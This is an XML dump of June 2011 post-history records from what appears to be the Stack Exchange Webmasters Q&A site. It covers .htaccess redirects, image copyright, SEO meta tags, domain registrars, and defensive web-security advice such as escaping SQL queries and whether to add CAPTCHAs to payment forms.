  <row Id="37868" PostHistoryTypeId="2" PostId="15951" RevisionGUID="d4479d2d-d39d-4d2d-8968-8680200e43ea" CreationDate="2011-06-26T10:37:17.220" UserId="8597" Text="For images already stolen - I'd say try to make a minimum effort to reach the site owners who stole your images. Copyright infringement is easy to prove, and you can get compensated without proving any damages in most countries.&#xD;&#xA;&#xD;&#xA;Use tools like tineye.com and the new google images search. Use domaintools.com to find out who's behind a site that's using your images. Read about the way Stock Photography sites deal with this issue. In most cases you don't even have to go to court, most people will settle out of court if the sum you're asking for is lower than what it would cost them to defend themselves legally.&#xD;&#xA;&#xD;&#xA;If there are a lot of websites, I'd get a copyright lawyer to deal with it for you. They will often do it for a percentage of the loot rather than lawyer fees. &#xD;&#xA;&#xD;&#xA;As for materials that were not stolen yet - use something like [Image Guard][1] to watermark your images, and prevent hotlinking. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.binpress.com/app/imageguard/79" />
  <row Id="37869" PostHistoryTypeId="2" PostId="15952" RevisionGUID="53d53ac4-b85d-4771-bf3d-8ceb1a5d08e6" CreationDate="2011-06-26T10:49:25.750" UserId="8601" Text="I have 10 widgets (facebook, disqus, twitter, etc.) that I can add to a site when I am designing it. Is it okay to charge for adding these things to the package?" />
  <row Id="37870" PostHistoryTypeId="1" PostId="15952" RevisionGUID="53d53ac4-b85d-4771-bf3d-8ceb1a5d08e6" CreationDate="2011-06-26T10:49:25.750" UserId="8601" Text="Is it okay for a web designer to advertise widgets?" />
  <row Id="37871" PostHistoryTypeId="3" PostId="15952" RevisionGUID="53d53ac4-b85d-4771-bf3d-8ceb1a5d08e6" CreationDate="2011-06-26T10:49:25.750" UserId="8601" Text="&lt;widgets&gt;" />
  <row Id="37873" PostHistoryTypeId="2" PostId="15954" RevisionGUID="28b4ef80-53de-4c39-96c6-c5e9aff9fd89" CreationDate="2011-06-26T11:22:07.293" UserId="8602" Text="Modern browsers are automatically decode URLs before displaying on the location bar, but internally still using the real address which will include two different encodings for the path to the resource and the domain. &#xD;&#xA;&#xD;&#xA;When you copy the location from the browser it copy the original address with a purpose to make sure that it would act as a web address when pasted on other applications." />
  <row Id="37874" PostHistoryTypeId="2" PostId="15955" RevisionGUID="ab6fe06d-e7e6-475f-9c09-8a0fb1f48f3a" CreationDate="2011-06-26T11:48:17.657" UserId="8263" Text="I have a tricky problem related to 301 redirections I badly need help with.&#xD;&#xA;I tried to implement these via .htaccess, but ran into trouble.&#xD;&#xA;&#xD;&#xA;The start of my .htaccess looks like this:&#xD;&#xA;&#xD;&#xA;    SetEnv PHP_VER 5&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    # Redirect non-www to www&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.|$) [NC]&#xD;&#xA;    RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xD;&#xA;    &#xD;&#xA;    #--- GENERAL ---&#xD;&#xA;    RewriteRule ^index\.html$ index.php [L]&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I try to put a permanent redirect to index.php by adding R=301 in the square brackets,&#xD;&#xA;I get a 404, and I have no idea where the error comes from.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37875" PostHistoryTypeId="1" PostId="15955" RevisionGUID="ab6fe06d-e7e6-475f-9c09-8a0fb1f48f3a" CreationDate="2011-06-26T11:48:17.657" UserId="8263" Text="Issue with permanent redirect implementation" />
  <row Id="37876" PostHistoryTypeId="3" PostId="15955" RevisionGUID="ab6fe06d-e7e6-475f-9c09-8a0fb1f48f3a" CreationDate="2011-06-26T11:48:17.657" UserId="8263" Text="&lt;htaccess&gt;&lt;301-redirect&gt;" />
  <row Id="37877" PostHistoryTypeId="2" PostId="15956" RevisionGUID="eaa79d8f-a5ca-4dcb-ad1d-3b837ef8f667" CreationDate="2011-06-26T12:16:57.280" UserId="3788" Text="Without knowing any of the details, I would say yes, it is legitimate to charge for anything that adds value to a customer's site. &#xD;&#xA;&#xD;&#xA;If you're worried about pushback from your customers, then you need to sell them these features as things that they need. It's all in the marketing." />
  <row Id="37878" PostHistoryTypeId="25" PostId="15955" RevisionGUID="5aeb5a96-4ffb-4b2c-ae24-dda967e15785" CreationDate="2011-06-26T12:25:12.443" Comment="http://twitter.com/#!/StackWebmasters/status/84960397865648128" />
  <row Id="37879" PostHistoryTypeId="2" PostId="15957" RevisionGUID="6cd7db63-7a71-4d2f-a3c9-1325c28c61d6" CreationDate="2011-06-26T12:40:13.073" UserId="8354" Text="Try this one instead (it's safer to have domain name hard coded):&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !=www.example.com&#xD;&#xA;    RewriteRule (.*) http://www.example.com/$1 [QSA,R=301,L]&#xD;&#xA;&#xD;&#xA;A bit different version (with no domain name hard coded):&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.(.*)$&#xD;&#xA;    RewriteRule (.*) http://www.%{HTTP_HOST}/$1 [QSA,R=301,L]&#xD;&#xA;&#xD;&#xA;But if your configuration allows to to also accept requests for domain like `meow.example.com` .. then it will be redirected to `www.meow.example.com`." />
  <row Id="37880" PostHistoryTypeId="2" PostId="15958" RevisionGUID="adc473dd-8564-4a44-bb61-60f1a19c9e7f" CreationDate="2011-06-26T12:55:04.253" UserId="8605" Text="I've been using GoDaddy to manage about 50 domain names for a few years, but recently decided to move (probably to namecheap) because of the elephant killing incident.&#xD;&#xA;&#xD;&#xA;One GoDaddy's feature I like a lot is Consolidate, which allows you to change the expiration date of domain names for a small fee. I've searched for a while but didn't find any other registrar that provides this feature. Does anyone know if there's a registrar that allows you to change the expiration date of domains? Thanks!" />
  <row Id="37881" PostHistoryTypeId="1" PostId="15958" RevisionGUID="adc473dd-8564-4a44-bb61-60f1a19c9e7f" CreationDate="2011-06-26T12:55:04.253" UserId="8605" Text="Alternative to GoDaddy's ConsoliDate feature (change domain expiration date)" />
  <row Id="37882" PostHistoryTypeId="3" PostId="15958" RevisionGUID="adc473dd-8564-4a44-bb61-60f1a19c9e7f" CreationDate="2011-06-26T12:55:04.253" UserId="8605" Text="&lt;domain-names&gt;&lt;godaddy&gt;" />
  <row Id="37883" PostHistoryTypeId="2" PostId="15959" RevisionGUID="c4eaa456-3c32-4c37-84ae-12e6facecaea" CreationDate="2011-06-26T12:56:18.777" UserId="8606" Text="#Create New Original Content Only#&#xD;&#xA;&#xD;&#xA;FAQ Pages should be well ordered and be useful first to the reader. It is often the same amount of energy to cheat the system as it would of been to just do it right. You are trying to find out how to take little content of value and expand it out. Can't be done.  Sure you can change up any article over 80% spun a hundred new ways, though what was the point?  &#xD;&#xA;&#xD;&#xA;Here is the real issue&gt;  You do not think you have the creativity and brains to write your own interesting material. &quot;You do and then some...believe in yourself and everyone else will too!&quot;&#xD;&#xA;&#xD;&#xA;Cheers, Roman" />
  <row Id="37884" PostHistoryTypeId="5" PostId="15957" RevisionGUID="e0a1f314-044c-4d2b-9e43-79bd51b5184a" CreationDate="2011-06-26T13:03:50.473" UserId="8354" Comment="added 47 characters in body" Text="To force `www.` to be present in a domain name try this one instead (it's safer to have domain name hard coded):&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !=www.example.com&#xD;&#xA;    RewriteRule (.*) http://www.example.com/$1 [QSA,R=301,L]&#xD;&#xA;&#xD;&#xA;A bit different version (with no domain name hard coded):&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.(.*)$&#xD;&#xA;    RewriteRule (.*) http://www.%{HTTP_HOST}/$1 [QSA,R=301,L]&#xD;&#xA;&#xD;&#xA;But if your configuration allows to to also accept requests for domain like `meow.example.com` .. then it will be redirected to `www.meow.example.com`." />
  <row Id="37885" PostHistoryTypeId="6" PostId="15955" RevisionGUID="ac6ccbb3-6216-45a7-b6b0-41dffe993dcc" CreationDate="2011-06-26T13:25:07.080" UserId="4364" Comment="Added more tags" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;301-redirect&gt;" />
  <row Id="37886" PostHistoryTypeId="24" PostId="15955" RevisionGUID="ac6ccbb3-6216-45a7-b6b0-41dffe993dcc" CreationDate="2011-06-26T13:25:07.080" Comment="Proposed by 4364 approved by 1064 edit id of 416" />
  <row Id="37887" PostHistoryTypeId="2" PostId="15960" RevisionGUID="a1d90ef4-55e5-4c39-b58f-5b6bc3eb5e5c" CreationDate="2011-06-26T13:34:53.803" UserId="8607" Text="I wanna create a website like a blog!! every user can write his own news, which will be displayed in the main page! &#xD;&#xA;&#xD;&#xA;My question is: What is the best way to accomplish this system?&#xD;&#xA;&#xD;&#xA;Creating a new folder for every post and save its comments in it?&#xD;&#xA;&#xD;&#xA;I cant really figure out a way to do this?? i guess using mysql would be better, but how can i use comments for every post i that case??&#xD;&#xA;&#xD;&#xA;Fabian.." />
  <row Id="37888" PostHistoryTypeId="1" PostId="15960" RevisionGUID="a1d90ef4-55e5-4c39-b58f-5b6bc3eb5e5c" CreationDate="2011-06-26T13:34:53.803" UserId="8607" Text="Making a website system!" />
  <row Id="37889" PostHistoryTypeId="3" PostId="15960" RevisionGUID="a1d90ef4-55e5-4c39-b58f-5b6bc3eb5e5c" CreationDate="2011-06-26T13:34:53.803" UserId="8607" Text="&lt;blog&gt;&lt;comments&gt;" />
  <row Id="37891" PostHistoryTypeId="2" PostId="15962" RevisionGUID="23f58e89-55ff-47f6-817f-6a5a6539d146" CreationDate="2011-06-26T13:57:26.643" UserId="8608" Text="I just want to know. What is the reason why some website are hacked? Is it the website itself or is it the web server? I'm so curious about this because i want to develop my website and I just want to know what are the things I need to do to protect my website? Assuming that i will start it from the scratch. Please give me advice or other technical stuff that will open my mind to developed my website that has security features.. Thank you." />
  <row Id="37892" PostHistoryTypeId="1" PostId="15962" RevisionGUID="23f58e89-55ff-47f6-817f-6a5a6539d146" CreationDate="2011-06-26T13:57:26.643" UserId="8608" Text="What is the reason why some websites are hacked?" />
  <row Id="37893" PostHistoryTypeId="3" PostId="15962" RevisionGUID="23f58e89-55ff-47f6-817f-6a5a6539d146" CreationDate="2011-06-26T13:57:26.643" UserId="8608" Text="&lt;web-development&gt;" />
  <row Id="37894" PostHistoryTypeId="2" PostId="15963" RevisionGUID="8eb855ea-b767-44ec-9802-801fd6488665" CreationDate="2011-06-26T13:57:53.843" UserId="8118" Text="If you want to attract new visitors for your website than use www.somewebsite.com and if you want more users for your Facebook page take that URL." />
  <row Id="37895" PostHistoryTypeId="2" PostId="15964" RevisionGUID="8e541307-b4d7-4c85-b5af-d87af7f30897" CreationDate="2011-06-26T13:59:18.563" UserId="8597" Text="Most buttons include the url of the specific page viewed, that way a user can 'like' a blog post for example, rather than just liking the blog's Facebook page.&#xD;&#xA;&#xD;&#xA;That said, if you have a website with little or no content, sometimes people would prefer to let people like it's homepage or Facebook page, no matter where the like button is places, and that way all likes are grouped together (i.e. you'd have &quot;404 people like Creek's Cakes&quot; Instead of 4-5 people liking each individual post or page of your site.&#xD;&#xA;&#xD;&#xA;So it all depends on what you'd like to promote." />
  <row Id="37896" PostHistoryTypeId="2" PostId="15965" RevisionGUID="4c5d8d06-1a0e-4ed1-b9e8-2ca1abd104dc" CreationDate="2011-06-26T14:03:40.387" UserId="8597" Text="The key to Bounce Rate is relevancy. &#xD;&#xA;&#xD;&#xA;Where are your users coming from?&#xD;&#xA;If they were searching for something that was close enough to the content your offering to find it, but not close enough to find the information they are actually looking for, they will bounce.&#xD;&#xA;&#xD;&#xA;For example, if I'm looking for &quot;Source Code&quot; The movie, and I reach a site that talks about &quot;Source Code&quot; (programming), I will enter, but I'll probably bounce within 15 seconds or less.&#xD;&#xA;&#xD;&#xA;What is the topic of your site?&#xD;&#xA;If you write about different topics, it's possible that your users liked the content they were looking for but weren't interested in anything else in your site. " />
  <row Id="37897" PostHistoryTypeId="2" PostId="15966" RevisionGUID="baf3f5fc-b14c-4b52-a03c-de07d48af49f" CreationDate="2011-06-26T14:09:17.183" UserId="8608" Text="Im a web developer. I'm just wondering that is it necessary for a web developer to know how to hack website than developing a website?" />
  <row Id="37898" PostHistoryTypeId="1" PostId="15966" RevisionGUID="baf3f5fc-b14c-4b52-a03c-de07d48af49f" CreationDate="2011-06-26T14:09:17.183" UserId="8608" Text="Is it necessary for a web developer to know how to hack website?" />
  <row Id="37899" PostHistoryTypeId="3" PostId="15966" RevisionGUID="baf3f5fc-b14c-4b52-a03c-de07d48af49f" CreationDate="2011-06-26T14:09:17.183" UserId="8608" Text="&lt;web-development&gt;" />
  <row Id="37900" PostHistoryTypeId="2" PostId="15967" RevisionGUID="0f406a96-9aca-4a4e-9ba2-d4164e4dc908" CreationDate="2011-06-26T14:11:33.953" UserId="8597" Text="Technically - you can have as many H1's as you'd like.&#xD;&#xA;&#xD;&#xA;Semantically - it's wrong, as a page should only have 1 main title. You can use H2, H3, etc for subtitles.&#xD;&#xA;&#xD;&#xA;Remember, **H1's were not invented for SEO**, but for content formatting. Think about magazines - each article only has (1) primary header (h1) that describes the content of the page. Then a sub-heading (h2) that explains a bit more, then sub-headings (h3) to breakup the content, etc.&#xD;&#xA;" />
  <row Id="37901" PostHistoryTypeId="2" PostId="15968" RevisionGUID="20f65cfa-cc2d-4438-a28a-c158fa11933f" CreationDate="2011-06-26T14:28:20.900" UserId="1253" Text="I wouldn't say it is necessary to know how to hack a website, but I would say it is necessary to know how to *defend* one. This may sound like the same thing but they really are different. There are multiple ways to attack a website (SQL injections, cross site scripting attacks, email header injections)  and how you would do this can vary depending on what the attacker is hoping to accomplish (steal information, hijack a session, phishing). Defending against these doesn't require knowing how this is done as they can get quite complicated. All you need to know is how to code defensively to stop this attacks from being useful.&#xD;&#xA;&#xD;&#xA;For example, you should always escape special characters when doing a SQL query to prevent SQL injections. You don't have to know how a SQL injection is done. You just have to know that escaping your query properly will prevent these attacks from being successful.&#xD;&#xA;&#xD;&#xA;Cross site scripting attacks can be very complicated to perform. But as long as know how to defend against them (use HTTPS for logins, change session IDs when a user logs in, filter user input to avoid HTML code injection, http only cookies, etc) you can present them from being successful.&#xD;&#xA;&#xD;&#xA;Knowing how these attacks are performed does make it easier for you to understand how to defend against them. But it is not required to know how these attacks work in detail. A very basic understanding of the concept, along with a strong knowledge of how to defend against them, is enough to ensure you keep your websites safe." />
  <row Id="37902" PostHistoryTypeId="2" PostId="15969" RevisionGUID="d1d94a8f-289d-407b-8eba-7ad15b65a310" CreationDate="2011-06-26T14:28:26.240" UserId="8608" Text="I want to develop website using CodeIgniter framework. Im just worried  about the security of the framework. Is there an issue or event that a website is being hacked that uses CodeIgniter framework? thank uo" />
  <row Id="37903" PostHistoryTypeId="1" PostId="15969" RevisionGUID="d1d94a8f-289d-407b-8eba-7ad15b65a310" CreationDate="2011-06-26T14:28:26.240" UserId="8608" Text="How secure is CodeIgniter Framework?" />
  <row Id="37904" PostHistoryTypeId="3" PostId="15969" RevisionGUID="d1d94a8f-289d-407b-8eba-7ad15b65a310" CreationDate="2011-06-26T14:28:26.240" UserId="8608" Text="&lt;web-development&gt;" />
  <row Id="37905" PostHistoryTypeId="5" PostId="15966" RevisionGUID="349652f5-0a81-4286-a594-afc9cdf5efa3" CreationDate="2011-06-26T14:28:43.457" UserId="1253" Comment="modified tags, minor text edits" Text="I'm a web developer. I'm just wondering that is it necessary for a web developer to know how to hack website than developing a website?" />
  <row Id="37906" PostHistoryTypeId="6" PostId="15966" RevisionGUID="349652f5-0a81-4286-a594-afc9cdf5efa3" CreationDate="2011-06-26T14:28:43.457" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-development&gt;&lt;web-security&gt;" />
  <row Id="37907" PostHistoryTypeId="10" PostId="15962" RevisionGUID="c661029a-f001-461f-b973-33f4f7218b53" CreationDate="2011-06-26T14:29:24.673" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37908" PostHistoryTypeId="10" PostId="15960" RevisionGUID="6500552b-76a2-4aab-8d95-91394a9ef64e" CreationDate="2011-06-26T14:30:24.360" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37912" PostHistoryTypeId="2" PostId="15970" RevisionGUID="b5598c75-0810-4387-992c-59fd5a7210ac" CreationDate="2011-06-26T14:38:42.187" UserId="1253" Text="CodeIgniter is safe to use as it is in active development and any security issues discovered are quickly patched. &#xD;&#xA;&#xD;&#xA;However, this doesn't mean if you use CodeIgniter that your code will automatically be safe. The CodeIgniter codebase may be safe but you can still write unsafe code with it. This is true of any framework. You still need to know how to code defensively to prevent an attacker from exploiting your system." />
  <row Id="37913" PostHistoryTypeId="5" PostId="10508" RevisionGUID="ee6729d7-070d-45f4-a7d5-ba6d0368bdd2" CreationDate="2011-06-26T14:41:18.423" UserId="1253" Comment="Fixed spelling errors" Text="I would like to know in what encryption should I encode my data and why. First of all, I use GET method because it is search engine inside website. Second, I use RTL language (hebrew). And third which basically is why I ask this question - Firefox and Safari (as I understand it) encode and decode urls automatically. So if I encoded the url, in Firefox I will see it decoded which is good. But if I copy-paste the url to the address bar and than enter the site, Firefox encodes the uncoded url to UTF (I think).&#xD;&#xA;&#xD;&#xA;What en/decode should I use? And how can I overcome the Firefox auto en/decode?" />
  <row Id="37914" PostHistoryTypeId="5" PostId="15947" RevisionGUID="ac8259b9-23c5-4eb1-9acc-429b56fd0a1f" CreationDate="2011-06-26T14:43:56.127" UserId="1253" Comment="Fixed title, grammar" Text="Twitter and Google (http://www.google.com/trends/hottrends?sa=X) gives top current searches which is very easy to get with feeds/ajax. Yahoo also have top searches but I didn't find the way to get this data programmatically. The same for Facebook, Bing, and Alexa etc.&#xD;&#xA;&#xD;&#xA;Is it possible to get top search keywords from Facebook, Bing, Yahoo, and Alexa like Twitter and Google offer?" />
  <row Id="37915" PostHistoryTypeId="4" PostId="15947" RevisionGUID="ac8259b9-23c5-4eb1-9acc-429b56fd0a1f" CreationDate="2011-06-26T14:43:56.127" UserId="1253" Comment="Fixed title, grammar" Text="Is it possible to get top search keywords from Facebook, Bing, Yahoo, and Alexa?" />
  <row Id="37916" PostHistoryTypeId="25" PostId="15966" RevisionGUID="8b4a63e5-d350-439d-8407-9c097a968d61" CreationDate="2011-06-26T15:25:34.447" Comment="http://twitter.com/#!/StackWebmasters/status/85005788971675648" />
  <row Id="37917" PostHistoryTypeId="2" PostId="15971" RevisionGUID="286cb168-e04f-416e-a4e6-4ca872f9a58b" CreationDate="2011-06-26T15:41:41.367" UserId="8478" Text="You're mixing up a lot of things. But to answer your question: it's good practice to always encode non-ascii / special characters in URLs, so keep doing that. But there's nothing you can do about how browsers handle URLs in the address bar." />
  <row Id="37918" PostHistoryTypeId="5" PostId="15109" RevisionGUID="e6ed6040-9eca-46f5-92ff-37fc94af056f" CreationDate="2011-06-26T16:18:51.087" UserId="6901" Comment="added 62 characters in body" Text="I'm really impressed with Stack Exchange's concept of reputation (you gain reputation as you post, and the more you post, the more privileges you get), and I want to apply the concept to a wiki that I am building.&#xD;&#xA;&#xD;&#xA;Does anyone know of a php wiki that has a concept of privileges/reputation similar to Stack Exchange? I'm not necessarily looking for something *identical* to SE, I'm just looking for a wiki application that gives users more privileges the more they contribute *positively* to the wiki (SE has down votes, the wiki should have some way of identifying negative contributions too). The privileges should be category based, so the more active you are in a specific category or page, the more privileges you get for that category. There should also be site wide privileges as well, though those should be harder to access than the category privileges.&#xD;&#xA;&#xD;&#xA;*NOTE: If it is not possible to get category wide privileges and site wide privileges, I will be OK with just category wide privileges or just site wide privileges.*&#xD;&#xA;&#xD;&#xA;I should be able to change the requirements for each privilege, through a administration panel or through editing a file (some wiki applications don't have administration interfaces).&#xD;&#xA;&#xD;&#xA;Does anyone have a script or a solution that will do this? If the script uses something similar to reputation to determine how much a user has positively contributed to the site, then that is OK too.&#xD;&#xA;&#xD;&#xA;*Please Note: I am looking for a way to rate individual user contributions, not a way to rate the quality of an entire page.*" />
  <row Id="37919" PostHistoryTypeId="2" PostId="15972" RevisionGUID="53d07d80-ab4c-41c2-914c-c565394c7a98" CreationDate="2011-06-26T16:55:07.540" UserId="8610" Text="In case a domain is registered not with an ICANN accredited registrar and only the reseller is mentioned in the whois, how can I find out whom is the reseller actually reselling? For example, whois record for 24creation.com has it that the domain has been registered with fc2.com, but the latter doesn't seem to be an ICANN accredited one, so it must be reselling someone." />
  <row Id="37920" PostHistoryTypeId="1" PostId="15972" RevisionGUID="53d07d80-ab4c-41c2-914c-c565394c7a98" CreationDate="2011-06-26T16:55:07.540" UserId="8610" Text="How to find who a registrar is reselling?" />
  <row Id="37921" PostHistoryTypeId="3" PostId="15972" RevisionGUID="53d07d80-ab4c-41c2-914c-c565394c7a98" CreationDate="2011-06-26T16:55:07.540" UserId="8610" Text="&lt;domains&gt;&lt;whois&gt;" />
  <row Id="37922" PostHistoryTypeId="4" PostId="15972" RevisionGUID="36ae5de6-a080-428f-85ff-54254452ce4d" CreationDate="2011-06-26T17:10:13.103" UserId="8610" Comment="edited title" Text="How to find whom a registrar is reselling?" />
  <row Id="37923" PostHistoryTypeId="25" PostId="15969" RevisionGUID="37d7bd4b-2346-4ad5-a0d3-318abe07208e" CreationDate="2011-06-26T18:25:34.703" Comment="http://twitter.com/#!/StackWebmasters/status/85051088323096576" />
  <row Id="37924" PostHistoryTypeId="2" PostId="15973" RevisionGUID="85345e8a-086f-4913-b5a7-ec7417376f76" CreationDate="2011-06-26T19:36:47.393" UserId="6193" Text="When you do a Google search, there is often a snippet of sample content from the page. I seem to recall that the Meta Tags can influence this choice of descriptive sentences. Is that correct(?) and if so, is it the Meta Description Tag?&#xD;&#xA;&#xD;&#xA;Also, how many characters is Google's descriptive sentences limited to?" />
  <row Id="37925" PostHistoryTypeId="1" PostId="15973" RevisionGUID="85345e8a-086f-4913-b5a7-ec7417376f76" CreationDate="2011-06-26T19:36:47.393" UserId="6193" Text="Does Google use the Meta Description Tag for Description of Page?" />
  <row Id="37926" PostHistoryTypeId="3" PostId="15973" RevisionGUID="85345e8a-086f-4913-b5a7-ec7417376f76" CreationDate="2011-06-26T19:36:47.393" UserId="6193" Text="&lt;seo&gt;&lt;meta-description&gt;" />
  <row Id="37927" PostHistoryTypeId="5" PostId="15973" RevisionGUID="d354f9b9-eb6f-42cb-a017-157afbbad50a" CreationDate="2011-06-26T20:12:52.017" UserId="6193" Comment="clarity" Text="When you do a Google search, there is typically a snippet of sample content from the page. I seem to recall that the Meta Tags can influence this choice of descriptive sentences. Is that correct(?) and if so, is it the Meta Description Tag?&#xD;&#xA;&#xD;&#xA;Also, how many characters is Google's descriptive sentences limited to?" />
  <row Id="37928" PostHistoryTypeId="2" PostId="15974" RevisionGUID="b0f7a7f3-2b88-4cbb-b82f-ab4b1241de9c" CreationDate="2011-06-26T20:14:30.290" UserId="1253" Text="Google will choose your search results snippets from the following places (not necessarily in this order):&#xD;&#xA;&#xD;&#xA;1. The page's Meta Description tag&#xD;&#xA;2. The page's Open Directory Project (ODP) Listing&#xD;&#xA;3. Page content relevant to the search query&#xD;&#xA;&#xD;&#xA;If you do *not* want Google to use the ODP listing's description then you can tell them not to do so with the following Meta tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;NOODP&quot;&gt;&#xD;&#xA;&#xD;&#xA;If you want to encourage Google to use your Meta Description tag then make sure it is unique to each page. Also make sure it contains an accurate description of the page's content.&#xD;&#xA;&#xD;&#xA;In thew absence of an ODP description and Meta Description tag, Google will use a portion of the page's text as the description. This text will contain the closest matches to the search query. I have not seen any official limit to how long this can be but a couple of sentences seems about right.&#xD;&#xA;&#xD;&#xA;On a related note, if you don't want a snippet to be shown with a particular page you can use the following Meta tag to prevent one from being shown:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;nosnippet&quot;&gt;" />
  <row Id="37929" PostHistoryTypeId="5" PostId="15974" RevisionGUID="25fabc63-0c6a-4be1-b192-d8aad7ce0cf9" CreationDate="2011-06-26T20:19:49.787" UserId="1253" Comment="added 187 characters in body" Text="Google will choose your search results snippets from the following places (not necessarily in this order):&#xD;&#xA;&#xD;&#xA;1. The page's Meta Description tag&#xD;&#xA;2. The page's Open Directory Project (ODP) Listing&#xD;&#xA;3. Page content relevant to the search query&#xD;&#xA;&#xD;&#xA;If you do *not* want Google to use the ODP listing's description then you can tell them not to do so with the following Meta tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;NOODP&quot;&gt;&#xD;&#xA;&#xD;&#xA;If you want to encourage Google to use your Meta Description tag then make sure it is unique to each page. Also make sure it contains an accurate description of the page's content.&#xD;&#xA;&#xD;&#xA;In thew absence of an ODP description and Meta Description tag, Google will use a portion of the page's text as the description. This text will contain the closest matches to the search query. I have not seen any official limit to how long this can be but a couple of sentences seems about right.&#xD;&#xA;&#xD;&#xA;On a related note, if you don't want a snippet to be shown with a particular page you can use the following Meta tag to prevent one from being shown:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;nosnippet&quot;&gt;&#xD;&#xA;&#xD;&#xA;See [this blog post][1] for Google's tips on using the meta description tag.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html" />
  <row Id="37930" PostHistoryTypeId="2" PostId="15975" RevisionGUID="df1d1d37-46d7-40a8-af15-fee6f4a93311" CreationDate="2011-06-26T20:19:57.233" UserId="231" Text="Here is a link that might help you: http://www.google.com/support/webmasters/bin/answer.py?answer=35264" />
  <row Id="37931" PostHistoryTypeId="17" PostId="15976" RevisionGUID="439ae094-c3ab-46dd-aa9c-3ade0d679b7d" CreationDate="2011-06-26T21:19:17.797" UserId="-1" Comment="from http://stackoverflow.com/questions/6483916/is-it-good-idea-to-put-a-captcha-on-credit-card-payment-form" Text="" />
  <row Id="37932" PostHistoryTypeId="17" PostId="15977" RevisionGUID="8922c4f4-bd2f-4a56-9c65-745fe2ae0e22" CreationDate="2011-06-26T21:19:17.797" UserId="-1" Comment="from http://stackoverflow.com/questions/6483916/is-it-good-idea-to-put-a-captcha-on-credit-card-payment-form" Text="" />
  <row Id="37933" PostHistoryTypeId="17" PostId="15978" RevisionGUID="2d00d9aa-0c84-43aa-8514-b967cfe14755" CreationDate="2011-06-26T21:19:17.797" UserId="-1" Comment="from http://stackoverflow.com/questions/6483916/is-it-good-idea-to-put-a-captcha-on-credit-card-payment-form" Text="" />
  <row Id="37934" PostHistoryTypeId="2" PostId="15977" RevisionGUID="13c3cc32-52e8-4610-8537-c2a56ac0fb8d" CreationDate="2011-06-26T12:31:23.887" UserDisplayName="John Poulin" Text="If you're worried about automatic transactions with stolen credit card numbers then it is certainly a decent idea. In most cases, however, you're just going to annoy the user. That's the last thing you want to do when they're looking to order a product from you." />
  <row Id="37935" PostHistoryTypeId="2" PostId="15978" RevisionGUID="ae044e2e-a729-4f39-a9a0-962dbc0541d5" CreationDate="2011-06-26T12:34:48.293" UserDisplayName="Sebastiano Merlino" Text="I'm no one of best friends of catchas but when they are useful they should be used. If you validate card number (as I think) you could use a captcha only after a certain number of wrong successive tries by a user (idendified by its ip address and timestamp)." />
  <row Id="37936" PostHistoryTypeId="2" PostId="15976" RevisionGUID="279866b4-8999-407d-8480-7881b45269bf" CreationDate="2011-06-26T12:29:22.673" UserId="7994" Text="Is it good idea to put a captcha on credit card payment form? &#xD;&#xA;&#xD;&#xA;I am thinking to put one on my asp.net mvc application's payment section to make it more secure but I have never seen anybody doing that." />
  <row Id="37937" PostHistoryTypeId="1" PostId="15976" RevisionGUID="279866b4-8999-407d-8480-7881b45269bf" CreationDate="2011-06-26T12:29:22.673" UserId="7994" Text="Is it good idea to put a captcha on credit card payment form" />
  <row Id="37938" PostHistoryTypeId="3" PostId="15976" RevisionGUID="279866b4-8999-407d-8480-7881b45269bf" CreationDate="2011-06-26T12:29:22.673" UserId="7994" Text="&lt;asp.net&gt;&lt;asp.net-mvc&gt;&lt;web-development&gt;&lt;captcha&gt;" />
  <row Id="37939" PostHistoryTypeId="25" PostId="15958" RevisionGUID="f17e3281-655c-4cad-b8ad-2f39f1abd9ea" CreationDate="2011-06-26T21:25:35.653" Comment="http://twitter.com/#!/StackWebmasters/status/85096390136565762" />
  <row Id="37940" PostHistoryTypeId="2" PostId="15979" RevisionGUID="fc770977-ceb0-453b-b0b7-10f362dc52d0" CreationDate="2011-06-26T21:36:49.957" UserId="8614" Text="Use http://wordpress.org/extend/plugins/twitter-tools/ for twitter than for twitter to facebook use http://restatus.me" />
  <row Id="37941" PostHistoryTypeId="2" PostId="15980" RevisionGUID="de010b6c-45c8-4994-8443-4833a1226ce6" CreationDate="2011-06-26T23:24:38.507" UserId="1253" Text="Your goal is to make the payment process as simple and straightforward as possible. Adding a CAPTCHA to your payment form will do the opposite of that. &#xD;&#xA;&#xD;&#xA;CAPTCHAs are notoriously difficult to complete. They have to be complex to defeat bots that are continually getting more and more sophisticated. But that complexity makes it more difficult for humans to complete as well. If you make the CAPTCHA easy to complete then not only is it easier for the bots to defeat, all you've done is add yet another field for users to fill out.&#xD;&#xA;&#xD;&#xA;Using session tokens and honeypots are easy ways to find bots without humans ever knowing they were there. So start of with them and then if a user seems to be submitting a lot of forms in a short period of time and/or their payments are repeatedly declined, then use a CAPTCHA to make sure they are a human being." />
